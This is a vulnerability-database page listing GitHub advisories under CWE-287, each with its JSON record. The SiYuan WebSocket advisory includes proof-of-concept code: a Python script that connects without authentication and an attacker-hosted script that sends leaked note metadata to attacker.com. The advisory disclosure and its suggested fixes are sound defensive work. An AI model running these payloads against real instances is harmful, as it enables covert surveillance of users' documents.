CWE-287
DiscouragedImproper Authentication
Abstraction: Class · Status: Draft
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.
5954 vulnerabilities reference this CWE, most recent first.
GHSA-XMJ9-XQ4J-XH3H
Vulnerability from github – Published: 2022-12-07 06:30 – Updated: 2022-12-10 00:30Improper authentication vulnerability in UDR-JA1604/UDR-JA1608/UDR-JA1616 firmware versions 71x10.1.107112.43A and earlier allows a remote authenticated attacker to execute an arbitrary OS command on the device or alter the device settings.
{
"affected": [],
"aliases": [
"CVE-2022-44620"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-07T04:15:00Z",
"severity": "HIGH"
},
"details": "Improper authentication vulnerability in UDR-JA1604/UDR-JA1608/UDR-JA1616 firmware versions 71x10.1.107112.43A and earlier allows a remote authenticated attacker to execute an arbitrary OS command on the device or alter the device settings.",
"id": "GHSA-xmj9-xq4j-xh3h",
"modified": "2022-12-10T00:30:17Z",
"published": "2022-12-07T06:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44620"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU94514762/index.html"
},
{
"type": "WEB",
"url": "http://www.unimo.co.jp/table_notice/index.php?act=1\u0026resid=1666831567-004418"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XMP9-M365-HWWG
Vulnerability from github – Published: 2022-05-01 23:35 – Updated: 2022-05-01 23:35SNMPv3 HMAC verification in (1) Net-SNMP 5.2.x before 5.2.4.1, 5.3.x before 5.3.2.1, and 5.4.x before 5.4.1.1; (2) UCD-SNMP; (3) eCos; (4) Juniper Session and Resource Control (SRC) C-series 1.0.0 through 2.0.0; (5) NetApp (aka Network Appliance) Data ONTAP 7.3RC1 and 7.3RC2; (6) SNMP Research before 16.2; (7) multiple Cisco IOS, CatOS, ACE, and Nexus products; (8) Ingate Firewall 3.1.0 and later and SIParator 3.1.0 and later; (9) HP OpenView SNMP Emanate Master Agent 15.x; and possibly other products relies on the client to specify the HMAC length, which makes it easier for remote attackers to bypass SNMP authentication via a length value of 1, which only checks the first byte.
{
"affected": [],
"aliases": [
"CVE-2008-0960"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-10T18:32:00Z",
"severity": "HIGH"
},
"details": "SNMPv3 HMAC verification in (1) Net-SNMP 5.2.x before 5.2.4.1, 5.3.x before 5.3.2.1, and 5.4.x before 5.4.1.1; (2) UCD-SNMP; (3) eCos; (4) Juniper Session and Resource Control (SRC) C-series 1.0.0 through 2.0.0; (5) NetApp (aka Network Appliance) Data ONTAP 7.3RC1 and 7.3RC2; (6) SNMP Research before 16.2; (7) multiple Cisco IOS, CatOS, ACE, and Nexus products; (8) Ingate Firewall 3.1.0 and later and SIParator 3.1.0 and later; (9) HP OpenView SNMP Emanate Master Agent 15.x; and possibly other products relies on the client to specify the HMAC length, which makes it easier for remote attackers to bypass SNMP authentication via a length value of 1, which only checks the first byte.",
"id": "GHSA-xmp9-m365-hwwg",
"modified": "2022-05-01T23:35:08Z",
"published": "2022-05-01T23:35:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0960"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=447974"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10820"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5785"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A6414"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5790"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-June/msg00363.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-June/msg00380.html"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-June/msg00459.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2008//Jun/msg00002.html"
},
{
"type": "WEB",
"url": "http://lists.ingate.com/pipermail/productinfo/2008/000021.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2008-08/msg00000.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=127730470825399\u0026w=2"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2008-0528.html"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30574"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30596"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30612"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30615"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30626"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30647"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30648"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30665"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30802"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31334"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31351"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31467"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31568"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32664"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/33003"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35463"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200808-02.xml"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3933"
},
{
"type": "WEB",
"url": "http://sourceforge.net/forum/forum.php?forum_id=833770"
},
{
"type": "WEB",
"url": "http://sourceforge.net/tracker/index.php?func=detail\u0026aid=1989089\u0026group_id=12694\u0026atid=456380"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-238865-1"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT2163"
},
{
"type": "WEB",
"url": "http://support.avaya.com/elmodocs2/security/ASA-2008-282.htm"
},
{
"type": "WEB",
"url": "http://www.cisco.com/warp/public/707/cisco-sa-20080610-snmpv3.shtml"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2008/dsa-1663"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/878044"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/CTAR-7FBS8Q"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/MIMG-7ETS5Z"
},
{
"type": "WEB",
"url": "http://www.kb.cert.org/vuls/id/MIMG-7ETS87"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDVSA-2008:118"
},
{
"type": "WEB",
"url": "http://www.ocert.org/advisories/ocert-2008-006.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/06/09/1"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2008-0529.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/493218/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/497962/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29623"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1020218"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/usn-685-1"
},
{
"type": "WEB",
"url": "http://www.us-cert.gov/cas/techalerts/TA08-162A.html"
},
{
"type": "WEB",
"url": "http://www.vmware.com/security/advisories/VMSA-2008-0013.html"
},
{
"type": "WEB",
"url": "http://www.vmware.com/security/advisories/VMSA-2008-0017.html"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1787/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1788/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1797/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1800/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1801/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1836/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/1981/references"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/2361"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/2971"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1612"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XP2M-98X8-RPJ6
Vulnerability from github – Published: 2026-03-16 18:46 – Updated: 2026-03-30 13:59Cross-Origin WebSocket Hijacking via Authentication Bypass — Unauthenticated Information Disclosure
Summary
SiYuan's WebSocket endpoint (/ws) allows unauthenticated connections when specific URL parameters are provided (?app=siyuan&id=auth&type=auth). This bypass, intended for the login page to keep the kernel alive, allows any external client — including malicious websites via cross-origin WebSocket — to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.
Combined with the absence of Origin header validation, a malicious website can silently connect to a victim's local SiYuan instance and monitor their note-taking activity.
Affected Component
- File:
kernel/server/serve.go:728-731 - Function:
serveWebSocket()→HandleConnecthandler - Endpoint:
GET /ws?app=siyuan&id=auth&type=auth(unauthenticated) - Version: SiYuan <= 3.5.9
Root Cause
The WebSocket HandleConnect handler has a special case bypass (line 730) intended for the authorization page:
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
authOk := true
if "" != model.Conf.AccessAuthCode {
// ... normal session/JWT authentication checks ...
// authOk = false if no valid session
}
if !authOk {
// Bypass: allow connection for auth page keepalive
// 用于授权页保持连接,避免非常驻内存内核自动退出
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
}
if !authOk {
s.CloseWithMsg([]byte(" unauthenticated"))
return
}
util.AddPushChan(s) // Session added to broadcast list
})
Three issues combine:
-
Authentication bypass via URL parameters: Any client connecting with
?app=siyuan&id=auth&type=authbypasses all authentication checks. -
Full broadcast membership: The bypassed session is added to the broadcast list via
util.AddPushChan(s), receiving ALLPushModeBroadcastevents — the same events sent to authenticated clients. -
No Origin validation: The WebSocket endpoint does not check the
Originheader, allowing cross-origin connections from any website.
Proof of Concept
Tested and confirmed on SiYuan v3.5.9 (Docker) with accessAuthCode configured.
1. Direct unauthenticated connection
import asyncio, json, websockets
async def spy():
# Connect WITHOUT any authentication cookie
uri = "ws://TARGET:6806/ws?app=siyuan&id=auth&type=auth"
async with websockets.connect(uri) as ws:
print("Connected without authentication!")
while True:
msg = await ws.recv()
data = json.loads(msg)
cmd = data.get("cmd")
d = data.get("data", {})
if cmd == "rename":
print(f"[LEAKED] Document renamed: {d.get('title')}")
elif cmd == "create":
print(f"[LEAKED] Document created: {d.get('path')}")
elif cmd == "renamenotebook":
print(f"[LEAKED] Notebook renamed: {d.get('name')}")
elif cmd == "removeDoc":
print(f"[LEAKED] Document deleted")
elif cmd == "transactions":
for tx in d if isinstance(d, list) else []:
for op in tx.get("doOperations", []):
if op.get("action") == "updateAttrs":
new = op.get("data", {}).get("new", {})
print(f"[LEAKED] Doc attrs: title={new.get('title')}")
asyncio.run(spy())
2. Cross-origin attack from malicious website
<!-- Hosted on https://attacker.com/spy.html -->
<script>
// Victim has SiYuan running on localhost:6806
const ws = new WebSocket("ws://localhost:6806/ws?app=siyuan&id=spy&type=auth");
ws.onopen = () => console.log("Connected to victim's SiYuan!");
ws.onmessage = (event) => {
const data = JSON.parse(event.data);
// Exfiltrate document operations to attacker
fetch("https://attacker.com/collect", {
method: "POST",
body: JSON.stringify({
cmd: data.cmd,
data: data.data,
timestamp: Date.now()
})
});
};
</script>
3. Confirmed leaked events
The following events are received by the unauthenticated WebSocket:
| Event | Leaked Data |
|---|---|
savedoc |
Document root ID, operation data |
transactions |
Document title, ID, attrs (new/old) |
create |
Document path, notebook info (name, ID) |
rename |
New document title, path, notebook ID |
renamenotebook |
New notebook name, notebook ID |
removeDoc |
Document deletion event |
4. Cross-origin connection confirmed
import websockets, asyncio
async def test():
uri = "ws://localhost:6806/ws?app=siyuan&id=attacker&type=auth"
extra_headers = {"Origin": "https://evil.attacker.com"}
async with websockets.connect(uri, additional_headers=extra_headers) as ws:
print("Cross-origin connection accepted!") # SUCCEEDS
asyncio.run(test())
Result: Connection succeeds — no Origin validation.
Attack Scenario
- Victim runs SiYuan desktop (Electron, listens on
localhost:6806) or Docker instance - Victim has
accessAuthCodeconfigured (server is password-protected) - Victim visits
attacker.comin any browser - Attacker's JavaScript connects to
ws://localhost:6806/ws?app=siyuan&id=spy&type=auth - WebSocket connection bypasses authentication
- Attacker silently monitors ALL document operations in real-time:
- Document titles ("Q4 Financial Results", "Employee Reviews", "Patent Draft")
- Notebook names ("Personal", "Work - Confidential")
- File paths and document IDs
- Create/rename/delete operations
- Attacker builds a profile of the victim's note-taking activity without any visible indication
Impact
- Severity: HIGH (CVSS ~7.5)
- Type: CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)
- Authentication bypass on WebSocket endpoint when
accessAuthCodeis configured - Cross-origin WebSocket hijacking — any website can connect to local SiYuan instance
- Real-time information disclosure of document metadata (titles, paths, operations)
- No user interaction required beyond visiting a malicious website
- Affects both Electron desktop and Docker/server deployments
- Silent — no visible indication to the user
Suggested Fix
1. Remove the URL parameter authentication bypass
// Remove or restrict the auth page bypass
// Before (vulnerable):
authOk = strings.Contains(s.Request.RequestURI, "/ws?app=siyuan") &&
strings.Contains(s.Request.RequestURI, "&id=auth&type=auth")
// After: Use a separate, restricted endpoint for auth page keepalive
// that does NOT receive broadcast events
2. Add Origin header validation
util.WebSocketServer.HandleConnect(func(s *melody.Session) {
// Validate Origin header
origin := s.Request.Header.Get("Origin")
if origin != "" {
allowed := false
for _, o := range []string{"http://localhost", "http://127.0.0.1", "app://"} {
if strings.HasPrefix(origin, o) {
allowed = true
break
}
}
if !allowed {
s.CloseWithMsg([]byte("origin not allowed"))
return
}
}
// ... rest of auth logic
})
3. Separate keepalive from broadcast
If the auth page needs a WebSocket for keepalive, create a separate endpoint (/ws-keepalive) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260313024916-fd6526133bb3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32815"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T18:46:34Z",
"nvd_published_at": "2026-03-19T22:16:42Z",
"severity": "MODERATE"
},
"details": "# Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure\n\n## Summary\n\nSiYuan\u0027s WebSocket endpoint (`/ws`) allows unauthenticated connections when specific URL parameters are provided (`?app=siyuan\u0026id=auth\u0026type=auth`). This bypass, intended for the login page to keep the kernel alive, allows any external client \u2014 including malicious websites via cross-origin WebSocket \u2014 to connect and receive all server push events in real-time. These events leak sensitive document metadata including document titles, notebook names, file paths, and all CRUD operations performed by authenticated users.\n\nCombined with the absence of `Origin` header validation, a malicious website can silently connect to a victim\u0027s local SiYuan instance and monitor their note-taking activity.\n\n## Affected Component\n\n- **File:** `kernel/server/serve.go:728-731`\n- **Function:** `serveWebSocket()` \u2192 `HandleConnect` handler\n- **Endpoint:** `GET /ws?app=siyuan\u0026id=auth\u0026type=auth` (unauthenticated)\n- **Version:** SiYuan \u003c= 3.5.9\n\n## Root Cause\n\nThe WebSocket `HandleConnect` handler has a special case bypass (line 730) intended for the authorization page:\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n authOk := true\n if \"\" != model.Conf.AccessAuthCode {\n // ... normal session/JWT authentication checks ...\n // authOk = false if no valid session\n }\n\n if !authOk {\n // Bypass: allow connection for auth page keepalive\n // \u7528\u4e8e\u6388\u6743\u9875\u4fdd\u6301\u8fde\u63a5\uff0c\u907f\u514d\u975e\u5e38\u9a7b\u5185\u5b58\u5185\u6838\u81ea\u52a8\u9000\u51fa\n authOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n }\n\n if !authOk {\n s.CloseWithMsg([]byte(\" unauthenticated\"))\n return\n }\n\n util.AddPushChan(s) // Session added to broadcast list\n})\n```\n\nThree issues combine:\n\n1. **Authentication bypass via URL parameters:** Any client connecting with `?app=siyuan\u0026id=auth\u0026type=auth` bypasses all authentication checks.\n\n2. **Full broadcast membership:** The bypassed session is added to the broadcast list via `util.AddPushChan(s)`, receiving ALL `PushModeBroadcast` events \u2014 the same events sent to authenticated clients.\n\n3. **No Origin validation:** The WebSocket endpoint does not check the `Origin` header, allowing cross-origin connections from any website.\n\n## Proof of Concept\n\n**Tested and confirmed on SiYuan v3.5.9 (Docker) with `accessAuthCode` configured.**\n\n### 1. Direct unauthenticated connection\n\n```python\nimport asyncio, json, websockets\n\nasync def spy():\n # Connect WITHOUT any authentication cookie\n uri = \"ws://TARGET:6806/ws?app=siyuan\u0026id=auth\u0026type=auth\"\n async with websockets.connect(uri) as ws:\n print(\"Connected without authentication!\")\n while True:\n msg = await ws.recv()\n data = json.loads(msg)\n cmd = data.get(\"cmd\")\n d = data.get(\"data\", {})\n\n if cmd == \"rename\":\n print(f\"[LEAKED] Document renamed: {d.get(\u0027title\u0027)}\")\n elif cmd == \"create\":\n print(f\"[LEAKED] Document created: {d.get(\u0027path\u0027)}\")\n elif cmd == \"renamenotebook\":\n print(f\"[LEAKED] Notebook renamed: {d.get(\u0027name\u0027)}\")\n elif cmd == \"removeDoc\":\n print(f\"[LEAKED] Document deleted\")\n elif cmd == \"transactions\":\n for tx in d if isinstance(d, list) else []:\n for op in tx.get(\"doOperations\", []):\n if op.get(\"action\") == \"updateAttrs\":\n new = op.get(\"data\", {}).get(\"new\", {})\n print(f\"[LEAKED] Doc attrs: title={new.get(\u0027title\u0027)}\")\n\nasyncio.run(spy())\n```\n\n### 2. Cross-origin attack from malicious website\n\n```html\n\u003c!-- Hosted on https://attacker.com/spy.html --\u003e\n\u003cscript\u003e\n// Victim has SiYuan running on localhost:6806\nconst ws = new WebSocket(\"ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth\");\n\nws.onopen = () =\u003e console.log(\"Connected to victim\u0027s SiYuan!\");\n\nws.onmessage = (event) =\u003e {\n const data = JSON.parse(event.data);\n // Exfiltrate document operations to attacker\n fetch(\"https://attacker.com/collect\", {\n method: \"POST\",\n body: JSON.stringify({\n cmd: data.cmd,\n data: data.data,\n timestamp: Date.now()\n })\n });\n};\n\u003c/script\u003e\n```\n\n### 3. Confirmed leaked events\n\nThe following events are received by the unauthenticated WebSocket:\n\n| Event | Leaked Data |\n|-------|-------------|\n| `savedoc` | Document root ID, operation data |\n| `transactions` | Document title, ID, attrs (new/old) |\n| `create` | Document path, notebook info (name, ID) |\n| `rename` | New document title, path, notebook ID |\n| `renamenotebook` | New notebook name, notebook ID |\n| `removeDoc` | Document deletion event |\n\n### 4. Cross-origin connection confirmed\n\n```python\nimport websockets, asyncio\n\nasync def test():\n uri = \"ws://localhost:6806/ws?app=siyuan\u0026id=attacker\u0026type=auth\"\n extra_headers = {\"Origin\": \"https://evil.attacker.com\"}\n async with websockets.connect(uri, additional_headers=extra_headers) as ws:\n print(\"Cross-origin connection accepted!\") # SUCCEEDS\n\nasyncio.run(test())\n```\n\n**Result:** Connection succeeds \u2014 no Origin validation.\n\n## Attack Scenario\n\n1. Victim runs SiYuan desktop (Electron, listens on `localhost:6806`) or Docker instance\n2. Victim has `accessAuthCode` configured (server is password-protected)\n3. Victim visits `attacker.com` in any browser\n4. Attacker\u0027s JavaScript connects to `ws://localhost:6806/ws?app=siyuan\u0026id=spy\u0026type=auth`\n5. WebSocket connection bypasses authentication\n6. Attacker silently monitors ALL document operations in real-time:\n - Document titles (\"Q4 Financial Results\", \"Employee Reviews\", \"Patent Draft\")\n - Notebook names (\"Personal\", \"Work - Confidential\")\n - File paths and document IDs\n - Create/rename/delete operations\n7. Attacker builds a profile of the victim\u0027s note-taking activity without any visible indication\n\n## Impact\n\n- **Severity:** HIGH (CVSS ~7.5)\n- **Type:** CWE-287 (Improper Authentication), CWE-200 (Exposure of Sensitive Information), CWE-1385 (Missing Origin Validation in WebSockets)\n- Authentication bypass on WebSocket endpoint when `accessAuthCode` is configured\n- Cross-origin WebSocket hijacking \u2014 any website can connect to local SiYuan instance\n- Real-time information disclosure of document metadata (titles, paths, operations)\n- No user interaction required beyond visiting a malicious website\n- Affects both Electron desktop and Docker/server deployments\n- Silent \u2014 no visible indication to the user\n\n## Suggested Fix\n\n### 1. Remove the URL parameter authentication bypass\n\n```go\n// Remove or restrict the auth page bypass\n// Before (vulnerable):\nauthOk = strings.Contains(s.Request.RequestURI, \"/ws?app=siyuan\") \u0026\u0026\n strings.Contains(s.Request.RequestURI, \"\u0026id=auth\u0026type=auth\")\n\n// After: Use a separate, restricted endpoint for auth page keepalive\n// that does NOT receive broadcast events\n```\n\n### 2. Add Origin header validation\n\n```go\nutil.WebSocketServer.HandleConnect(func(s *melody.Session) {\n // Validate Origin header\n origin := s.Request.Header.Get(\"Origin\")\n if origin != \"\" {\n allowed := false\n for _, o := range []string{\"http://localhost\", \"http://127.0.0.1\", \"app://\"} {\n if strings.HasPrefix(origin, o) {\n allowed = true\n break\n }\n }\n if !allowed {\n s.CloseWithMsg([]byte(\"origin not allowed\"))\n return\n }\n }\n // ... rest of auth logic\n})\n```\n\n### 3. Separate keepalive from broadcast\n\nIf the auth page needs a WebSocket for keepalive, create a separate endpoint (`/ws-keepalive`) that only handles ping/pong without receiving broadcast events. Do not add keepalive sessions to the broadcast push channel.",
"id": "GHSA-xp2m-98x8-rpj6",
"modified": "2026-03-30T13:59:03Z",
"published": "2026-03-16T18:46:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xp2m-98x8-rpj6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32815"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/commit/1e370e37359778c0932673e825182ff555b504a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
},
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "SiYuan Vulnerable to Cross-Origin WebSocket Hijacking via Authentication Bypass \u2014 Unauthenticated Information Disclosure"
}
GHSA-XP2R-3X9C-RVXQ
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32A Reliance on Cookies without Validation and Integrity Checking issue was discovered in Moxa OnCell G3100-HSPA Series version 1.4 Build 16062919 and prior. The application allows a cookie parameter to consist of only digits, allowing an attacker to perform a brute force attack bypassing authentication and gaining access to device functions.
{
"affected": [],
"aliases": [
"CVE-2018-5455"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-05T17:29:00Z",
"severity": "CRITICAL"
},
"details": "A Reliance on Cookies without Validation and Integrity Checking issue was discovered in Moxa OnCell G3100-HSPA Series version 1.4 Build 16062919 and prior. The application allows a cookie parameter to consist of only digits, allowing an attacker to perform a brute force attack bypassing authentication and gaining access to device functions.",
"id": "GHSA-xp2r-3x9c-rvxq",
"modified": "2022-05-13T01:32:09Z",
"published": "2022-05-13T01:32:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5455"
},
{
"type": "WEB",
"url": "https://ics-cert.us-cert.gov/advisories/ICSA-18-060-02"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XP8F-6F2W-PRW8
Vulnerability from github – Published: 2022-05-17 04:48 – Updated: 2022-05-17 04:48The administrative interface in Allied Telesis AT-RG634A ADSL Broadband router 3.3+, iMG624A firmware 3.5, iMG616LH firmware 2.4, and iMG646BD firmware 3.5 allows remote attackers to gain privileges and execute arbitrary commands via a direct request to cli.html.
{
"affected": [],
"aliases": [
"CVE-2014-1982"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-03-31T14:58:00Z",
"severity": "HIGH"
},
"details": "The administrative interface in Allied Telesis AT-RG634A ADSL Broadband router 3.3+, iMG624A firmware 3.5, iMG616LH firmware 2.4, and iMG646BD firmware 3.5 allows remote attackers to gain privileges and execute arbitrary commands via a direct request to cli.html.",
"id": "GHSA-xp8f-6f2w-prw8",
"modified": "2022-05-17T04:48:20Z",
"published": "2022-05-17T04:48:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-1982"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2014/Mar/340"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/32545"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XPMM-8F6X-VCW6
Vulnerability from github – Published: 2022-05-13 01:44 – Updated: 2025-04-20 03:48The UserPro plugin before 4.9.17.1 for WordPress, when used on a site with the "admin" username, allows remote attackers to bypass authentication and obtain administrative access via a "true" value for the up_auto_log parameter in the QUERY_STRING to the default URI.
{
"affected": [],
"aliases": [
"CVE-2017-16562"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-10T02:29:00Z",
"severity": "CRITICAL"
},
"details": "The UserPro plugin before 4.9.17.1 for WordPress, when used on a site with the \"admin\" username, allows remote attackers to bypass authentication and obtain administrative access via a \"true\" value for the up_auto_log parameter in the QUERY_STRING to the default URI.",
"id": "GHSA-xpmm-8f6x-vcw6",
"modified": "2025-04-20T03:48:14Z",
"published": "2022-05-13T01:44:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16562"
},
{
"type": "WEB",
"url": "https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681?s_rank=9"
},
{
"type": "WEB",
"url": "https://wpvulndb.com/vulnerabilities/8950"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/43117"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XPMV-Q85X-8HH8
Vulnerability from github – Published: 2022-05-24 19:21 – Updated: 2022-05-24 19:21On the D-Link DIR-615 before v20.12PTb04, once authenticated, this device identifies the user based on the IP address of his machine. By spoofing the IP address belonging to the victim's host, an attacker might be able to take over the administrative session without being prompted for authentication credentials. An attacker can get the victim's and router's IP addresses by simply sniffing the network traffic. Moreover, if the victim has web access enabled on his router and is accessing the web interface from a different network that is behind the NAT/Proxy, an attacker can sniff the network traffic to know the public IP address of the victim's router and take over his session as he won't be prompted for credentials.
{
"affected": [],
"aliases": [
"CVE-2017-7405"
],
"database_specific": {
"cwe_ids": [
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-07-07T12:29:00Z",
"severity": "CRITICAL"
},
"details": "On the D-Link DIR-615 before v20.12PTb04, once authenticated, this device identifies the user based on the IP address of his machine. By spoofing the IP address belonging to the victim\u0027s host, an attacker might be able to take over the administrative session without being prompted for authentication credentials. An attacker can get the victim\u0027s and router\u0027s IP addresses by simply sniffing the network traffic. Moreover, if the victim has web access enabled on his router and is accessing the web interface from a different network that is behind the NAT/Proxy, an attacker can sniff the network traffic to know the public IP address of the victim\u0027s router and take over his session as he won\u0027t be prompted for credentials.",
"id": "GHSA-xpmv-q85x-8hh8",
"modified": "2022-05-24T19:21:20Z",
"published": "2022-05-24T19:21:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-7405"
},
{
"type": "WEB",
"url": "https://www.qualys.com/2017/03/12/qsa-2017-03-12/qsa-2017-03-12.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XQ3V-RPGQ-HXM8
